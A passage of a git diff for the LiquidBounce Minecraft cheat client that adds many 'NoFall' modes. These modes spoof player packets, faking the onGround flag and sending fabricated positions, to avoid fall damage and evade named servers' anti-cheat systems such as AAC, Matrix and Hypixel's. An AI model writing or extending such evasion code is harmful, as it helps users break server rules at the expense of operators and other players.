net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode + +class LAACNofall : NoFallMode("LAAC") { + private var jumped = false + override fun onEnable() { + jumped = false + } + override fun onNoFall(event: UpdateEvent) { + if (!jumped && mc.thePlayer.onGround && !mc.thePlayer.isOnLadder && !mc.thePlayer.isInWater && !mc.thePlayer.isInWeb) { + mc.thePlayer.motionY = -6.0 + } + } + + override fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.onGround) { + jumped = false + } + + if (mc.thePlayer.motionY > 0) { + jumped = true + } + } + + override fun onMove(event: MoveEvent) { + if (!jumped && !mc.thePlayer.onGround && !mc.thePlayer.isOnLadder && !mc.thePlayer.isInWater && !mc.thePlayer.isInWeb && mc.thePlayer.motionY < 0.0) { + event.x = 0.0 + event.z = 0.0 + } + } + + override fun onJump(event: JumpEvent) { + jumped = true + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/OldAACNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/OldAACNofall.kt new file mode 100644 index 0000000..af3b168 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/aac/OldAACNofall.kt @@ -0,0 +1,36 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.aac + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class OldAACNofall : NoFallMode("OldAAC") { + private var oldaacState = 0 + override fun onEnable() { + oldaacState = 0 + } + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 2f) { + mc.netHandler.addToSendQueue(C03PacketPlayer(true)) + oldaacState = 2 + } else if (oldaacState == 2 && mc.thePlayer.fallDistance < 2) { + mc.thePlayer.motionY = 0.1 + oldaacState = 3 + return + } + when (oldaacState) { + 3 -> { + mc.thePlayer.motionY = 0.1 + oldaacState = 4 + } + 4 -> { + mc.thePlayer.motionY = 0.1 + oldaacState = 5 + } + 5 -> { + mc.thePlayer.motionY = 0.1 + oldaacState = 1 + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/BlocksMCNoFall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/BlocksMCNoFall.kt new file mode 100644 index 0000000..a514979 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/BlocksMCNoFall.kt @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.hypixel + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class BlocksMCNoFall : NoFallMode("BlocksMC") { + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && mc.thePlayer != null && mc.thePlayer.fallDistance > 1.5) { + event.packet.onGround = mc.thePlayer.ticksExisted % 2 == 0 + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypSpoofNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypSpoofNofall.kt new file mode 100644 index 0000000..c463dad --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypSpoofNofall.kt @@ -0,0 +1,12 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.hypixel + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.network.play.client.C03PacketPlayer + +class HypSpoofNofall : NoFallMode("HypSpoof") { + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) PacketUtils.sendPacketNoEvent(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y, event.packet.z, true)) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypixelFlagNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypixelFlagNofall.kt new file mode 100644 index 0000000..3724ec9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypixelFlagNofall.kt @@ -0,0 +1,29 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.hypixel + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class HypixelFlagNofall : NoFallMode("HypixelFlag") { + private var isDmgFalling = false + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 3) { + isDmgFalling = true + } + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) { + if(isDmgFalling) { + if (event.packet.onGround && mc.thePlayer.onGround) { + isDmgFalling = false + event.cancelEvent() + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y, event.packet.z, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y, event.packet.z - 23, true)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y, event.packet.z, false)) + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypixelJumpNoFall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypixelJumpNoFall.kt new file mode 100644 index 0000000..ec0b832 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypixelJumpNoFall.kt @@ -0,0 +1,29 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.hypixel + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class HypixelJumpNoFall : NoFallMode("HypixelJump") { + private var jump = false + override fun onPacket(event: PacketEvent) { + val player = mc.thePlayer ?: return + val packet = event.packet + + if (packet is C03PacketPlayer.C04PacketPlayerPosition) { + if (player.fallDistance >= 3.3) { + jump = true + } + + if (jump && player.onGround) { + packet.onGround = false + + if (!mc.gameSettings.keyBindJump.isKeyDown) { + player.setPosition(packet.positionX, packet.positionY + 0.09, packet.positionZ) + } + + jump = false + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypixelTimerNoFall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypixelTimerNoFall.kt new file mode 100644 index 0000000..50399e0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/hypixel/HypixelTimerNoFall.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.hypixel + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.misc.FallingPlayer +import net.ccbluex.liquidbounce.utils.timing.WaitTickUtils +import net.minecraft.network.play.client.C03PacketPlayer + +class HypixelTimerNoFall : NoFallMode("Hypixel") { + @EventTarget + override fun onPacket(event: PacketEvent) { + val player = mc.thePlayer ?: return + val packet = event.packet + + val fallingPlayer = FallingPlayer(mc.thePlayer) + + if (packet is C03PacketPlayer) { + if (fallingPlayer.findCollision(500) != null && player.fallDistance - player.motionY >= 3.3) { + mc.timer.timerSpeed = 0.5f + + packet.onGround = true + player.fallDistance = 0f + + WaitTickUtils.scheduleTicks(1) { + mc.timer.timerSpeed = 1f + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/Matrix62xNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/Matrix62xNofall.kt new file mode 100644 index 0000000..81de301 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/Matrix62xNofall.kt @@ -0,0 +1,52 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class Matrix62xNofall : NoFallMode("Matrix6.2.X") { + private var matrixCanSpoof = false + private var matrixFallTicks = 0 + private var matrixIsFall = false + private var matrixLastMotionY = 0.0 + override fun onEnable() { + matrixCanSpoof = false + matrixFallTicks = 0 + matrixIsFall = false + matrixLastMotionY = 0.0 + } + override fun onNoFall(event: UpdateEvent) { + if(matrixIsFall) { + mc.thePlayer.motionX=0.0 + mc.thePlayer.jumpMovementFactor=0f + mc.thePlayer.motionZ=0.0 + if(mc.thePlayer.onGround) matrixIsFall = false + } + if(mc.thePlayer.fallDistance-mc.thePlayer.motionY>3) { + matrixIsFall = true + if(matrixFallTicks==0) matrixLastMotionY=mc.thePlayer.motionY + mc.thePlayer.motionY=0.0 + mc.thePlayer.motionX=0.0 + mc.thePlayer.jumpMovementFactor=0f + mc.thePlayer.motionZ=0.0 + mc.thePlayer.fallDistance=3.2f + if(matrixFallTicks in 8..9) matrixCanSpoof=true + matrixFallTicks++ + } + if(matrixFallTicks>12 && !mc.thePlayer.onGround) { + mc.thePlayer.motionY=matrixLastMotionY + mc.thePlayer.fallDistance = 0f + matrixFallTicks=0 + matrixCanSpoof=false + } + } + + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && matrixCanSpoof) { + event.packet.onGround = true + matrixCanSpoof = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/Matrix62xPacketNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/Matrix62xPacketNofall.kt new file mode 100644 index 0000000..2b8a4b4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/Matrix62xPacketNofall.kt @@ -0,0 +1,25 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.matrix + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class Matrix62xPacketNofall : NoFallMode("Matrix6.2.X-Packet") { + override fun onNoFall(event: UpdateEvent) { + if(mc.thePlayer.onGround) { + //mc.timer.timerSpeed = 1f + } else if (mc.thePlayer.fallDistance - mc.thePlayer.motionY > 3f){ + nofall.wasTimer = true + mc.timer.timerSpeed = (mc.timer.timerSpeed * if(mc.timer.timerSpeed < 0.6) { 0.25f } else { 0.5f }).coerceAtLeast(0.2f) + mc.netHandler.addToSendQueue(C03PacketPlayer(false)) + mc.netHandler.addToSendQueue(C03PacketPlayer(false)) + mc.netHandler.addToSendQueue(C03PacketPlayer(false)) + mc.netHandler.addToSendQueue(C03PacketPlayer(false)) + mc.netHandler.addToSendQueue(C03PacketPlayer(false)) + mc.netHandler.addToSendQueue(C03PacketPlayer(true)) + mc.netHandler.addToSendQueue(C03PacketPlayer(false)) + mc.netHandler.addToSendQueue(C03PacketPlayer(false)) + mc.thePlayer.fallDistance = 0f + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/Matrix663Nofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/Matrix663Nofall.kt new file mode 100644 index 0000000..da6c661 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/Matrix663Nofall.kt @@ -0,0 +1,63 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.misc.FallingPlayer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.minecraft.network.play.client.C03PacketPlayer + +import kotlin.math.abs + +class Matrix663Nofall : NoFallMode("Matrix6.6.3") { + private var matrixSend = false + + private val matrixSafe = BoolValue("SafeNoFall", true) + + + private var firstNfall = true + private var nearGround = false + + override fun onEnable() { + matrixSend = false + firstNfall = true + nearGround = false + } + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + override fun onNoFall(event: UpdateEvent) { + + val fallingPlayer = FallingPlayer(mc.thePlayer) + val collLoc = fallingPlayer.findCollision(60) // null -> too far to calc or fall pos in void + + if (mc.thePlayer.fallDistance - mc.thePlayer.motionY > 3 || (abs((collLoc?.y ?: 0) - mc.thePlayer.posY) < 3 && mc.thePlayer.fallDistance - mc.thePlayer.motionY > 2)) { + mc.thePlayer.fallDistance = 0.0f + matrixSend = true + + if (matrixSafe.get()) { + mc.timer.timerSpeed = 0.3f + mc.thePlayer.motionX *= 0.5 + mc.thePlayer.motionZ *= 0.5 + } else { + mc.timer.timerSpeed = 0.5f + } + } else { + mc.timer.timerSpeed = 1f + } + } + + override fun onPacket(event: PacketEvent) { + if (event.packet is C03PacketPlayer && matrixSend) { + matrixSend = false + val fallingPlayer = FallingPlayer(mc.thePlayer) + val collLoc = fallingPlayer.findCollision(60) // null -> too far to calc or fall pos in void + if (abs((collLoc?.y ?: 0) - mc.thePlayer.posY) > 2) { + event.cancelEvent() + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y, event.packet.z, true)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y, event.packet.z, false)) + } + } + + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/MatrixCollideNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/MatrixCollideNofall.kt new file mode 100644 index 0000000..fdb14f8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/MatrixCollideNofall.kt @@ -0,0 +1,44 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.minecraft.network.play.client.C03PacketPlayer +/** +Thx To Zerolysimin#6403 + */ +class MatrixCollideNofall : NoFallMode("MatrixCollide") { + private var packet1Count = 0 + private var packetModify = false + private var needSpoof = false + override fun onEnable() { + needSpoof = false + packetModify = false + packet1Count = 0 + } + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance.toInt() - mc.thePlayer.motionY > 3) { + mc.thePlayer.motionY = 0.0 + mc.thePlayer.fallDistance = 0.0f + mc.thePlayer.motionX *= 0.1 + mc.thePlayer.motionZ *= 0.1 + needSpoof = true + } + + if (mc.thePlayer.fallDistance / 3 > packet1Count) { + packet1Count = mc.thePlayer.fallDistance.toInt() / 3 + packetModify = true + } + if (mc.thePlayer.onGround) { + packet1Count = 0 + } + + } + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && needSpoof) { + event.packet.onGround = true + needSpoof = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/MatrixNewNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/MatrixNewNofall.kt new file mode 100644 index 0000000..6c14991 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/MatrixNewNofall.kt @@ -0,0 +1,36 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +/** +Thx To Zerolysimin#6403 + */ + +class MatrixNewNofall : NoFallMode("MatrixNew") { + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) { + if(!mc.thePlayer.onGround) { + if(mc.thePlayer.fallDistance > 2.69f){ + mc.timer.timerSpeed = 0.3f + event.packet.onGround = true + mc.thePlayer.fallDistance = 0f + } + if(mc.thePlayer.fallDistance > 3.5){ + mc.timer.timerSpeed = 0.3f + }else { + mc.timer.timerSpeed = 1F + } + } + if (mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.entityBoundingBox.offset(0.0, mc.thePlayer.motionY, 0.0)) + .isNotEmpty()) { + if(!event.packet.isOnGround && mc.thePlayer.motionY < -0.6) { + event.packet.onGround = true + } + } + + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/OldMatrixNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/OldMatrixNofall.kt new file mode 100644 index 0000000..088ee87 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/matrix/OldMatrixNofall.kt @@ -0,0 +1,41 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.matrix + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook + +class OldMatrixNofall : NoFallMode("OldMatrix") { + private var isDmgFalling = false + private var matrixFlagWait = 0 + override fun onEnable() { + isDmgFalling = false + matrixFlagWait = 0 + } + + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 3) { + isDmgFalling = true + } + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is S08PacketPlayerPosLook && matrixFlagWait > 0) { + matrixFlagWait = 0 + mc.timer.timerSpeed = 1.00f + event.cancelEvent() + } + if(event.packet is C03PacketPlayer && isDmgFalling) { + if (event.packet.onGround && mc.thePlayer.onGround) { + matrixFlagWait = 2 + isDmgFalling = false + event.cancelEvent() + mc.thePlayer.onGround = false + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, event.packet.y - 256, event.packet.z, false)) + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(event.packet.x, (-10).toDouble() , event.packet.z, true)) + mc.timer.timerSpeed = 0.18f + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/medusa/MedusaNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/medusa/MedusaNofall.kt new file mode 100644 index 0000000..064d3e1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/medusa/MedusaNofall.kt @@ -0,0 +1,25 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.medusa + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class MedusaNofall : NoFallMode("Medusa") { + private var needSpoof = false + override fun onEnable() { + needSpoof = false + } + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 2.5) { + needSpoof = true + mc.thePlayer.fallDistance = 0f + } + } + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && needSpoof) { + event.packet.onGround = true + needSpoof = false + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/AlwaysSpoofNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/AlwaysSpoofNofall.kt new file mode 100644 index 0000000..1304b13 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/AlwaysSpoofNofall.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.normal + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class AlwaysSpoofNofall : NoFallMode("AlwaysSpoof") { + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) event.packet.onGround = true + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/DamageNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/DamageNofall.kt new file mode 100644 index 0000000..663ca61 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/DamageNofall.kt @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.normal + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class DamageNofall : NoFallMode("Damage") { + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer && mc.thePlayer != null && mc.thePlayer.fallDistance > 3.5) { + event.packet.onGround = true + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/MLGNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/MLGNofall.kt new file mode 100644 index 0000000..dde22fb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/MLGNofall.kt @@ -0,0 +1,97 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.normal + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.VecRotation +import net.ccbluex.liquidbounce.utils.misc.FallingPlayer +import net.ccbluex.liquidbounce.utils.timer.TickTimer +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.minecraft.init.Blocks +import net.minecraft.init.Items +import net.minecraft.item.ItemBlock +import net.minecraft.item.ItemBucket +import net.minecraft.network.play.client.C09PacketHeldItemChange +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import net.minecraft.util.Vec3 +import kotlin.math.ceil +import kotlin.math.sqrt + +class MLGNofall : NoFallMode("MLG") { + private val minFallDistanceValue = FloatValue("${valuePrefix}MinMLGHeight", 5f, 2f, 50f) + private val mlgTimer = TickTimer() + private var currentMlgRotation: VecRotation? = null + private var currentMlgItemIndex = 0 + private var currentMlgBlock: BlockPos? = null + + override fun onEnable() { + mlgTimer.reset() + currentMlgRotation = null + currentMlgItemIndex = 0 + currentMlgBlock = null + } + override fun onMotion(event: MotionEvent) { + if (event.eventState == EventState.PRE) { + currentMlgRotation = null + mlgTimer.update() + + if (!mlgTimer.hasTimePassed(10)) + return + + + if (mc.thePlayer.fallDistance > minFallDistanceValue.get()) { + val fallingPlayer = FallingPlayer(mc.thePlayer) + val maxDist = mc.playerController.blockReachDistance + 1.5 + val collision = fallingPlayer.findCollision(ceil(1.0 / mc.thePlayer.motionY * -maxDist).toInt()) ?: return + var ok = Vec3(mc.thePlayer.posX, mc.thePlayer.posY + mc.thePlayer.eyeHeight, mc.thePlayer.posZ).distanceTo( + Vec3(collision).addVector(0.5, 0.5, 0.5)) < mc.playerController.blockReachDistance + sqrt(0.75) + + if (mc.thePlayer.motionY < collision.y + 1 - mc.thePlayer.posY) + ok = true + + if (!ok) + return + + var index = -1 + + for (i in 36..44) { + val itemStack = mc.thePlayer.inventoryContainer.getSlot(i).stack + + if (itemStack != null && (itemStack.item == Items.water_bucket || itemStack.item is ItemBlock && (itemStack.item as ItemBlock).block == Blocks.web)) { + index = i - 36 + + if (mc.thePlayer.inventory.currentItem == index) + break + } + } + + if (index == -1) + return + + currentMlgItemIndex = index + currentMlgBlock = collision + + if (mc.thePlayer.inventory.currentItem != index) { + mc.thePlayer.sendQueue.addToSendQueue(C09PacketHeldItemChange(index)) + } + + currentMlgRotation = RotationUtils.faceBlock(collision) + currentMlgRotation!!.rotation.toPlayer(mc.thePlayer) + } + } else if (currentMlgRotation != null) { + val stack = mc.thePlayer.inventory.mainInventory[currentMlgItemIndex] + + if (stack.item is ItemBucket) + mc.playerController.sendUseItem(mc.thePlayer, mc.theWorld, stack) + else if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, stack, currentMlgBlock, EnumFacing.UP, Vec3(0.0,0.5,0.0).add( + Vec3(currentMlgBlock ?: return) + ))) + mlgTimer.reset() + + if (mc.thePlayer.inventory.currentItem != currentMlgItemIndex) + mc.thePlayer.sendQueue.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/MotionFlagNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/MotionFlagNofall.kt new file mode 100644 index 0000000..be3cabe --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/MotionFlagNofall.kt @@ -0,0 +1,14 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.normal + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.features.value.FloatValue + +class MotionFlagNofall : NoFallMode("MotionFlag") { + private val flySpeedValue = FloatValue("${valuePrefix}MotionSpeed", -0.01f, -5f, 5f) + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 3) { + mc.thePlayer.motionY = flySpeedValue.get().toDouble() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/NoGroundNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/NoGroundNofall.kt new file mode 100644 index 0000000..57dbe6d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/NoGroundNofall.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.normal + +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.minecraft.network.play.client.C03PacketPlayer + +class NoGroundNofall : NoFallMode("NoGround") { + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) event.packet.onGround = false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/PhaseNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/PhaseNofall.kt new file mode 100644 index 0000000..66c5dd5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/PhaseNofall.kt @@ -0,0 +1,26 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.normal + +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.modules.player.nofalls.NoFallMode +import net.ccbluex.liquidbounce.utils.misc.FallingPlayer +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.play.client.C03PacketPlayer +import java.util.* +import kotlin.concurrent.schedule + +class PhaseNofall : NoFallMode("Phase") { + private val phaseOffsetValue = IntegerValue("${valuePrefix}PhaseOffset", 1, 0, 5) + override fun onNoFall(event: UpdateEvent) { + if (mc.thePlayer.fallDistance > 3 + phaseOffsetValue.get()) { + val fallPos = FallingPlayer(mc.thePlayer) + .findCollision(5) ?: return + if (fallPos.y - mc.thePlayer.motionY / 20.0 < mc.thePlayer.posY) { + mc.timer.timerSpeed = 0.05f + Timer().schedule(100L) { + mc.netHandler.addToSendQueue(C03PacketPlayer.C04PacketPlayerPosition(fallPos.x.toDouble(), fallPos.y.toDouble(), fallPos.z.toDouble(), true)) + mc.timer.timerSpeed = 1f + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/VanillaNofall.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/VanillaNofall.kt new file mode 100644 index 0000000..95ba8d1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/player/nofalls/normal/VanillaNofall.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.player.nofalls.normal + +import net.ccbluex.liquidbounce.event.PacketEvent +import 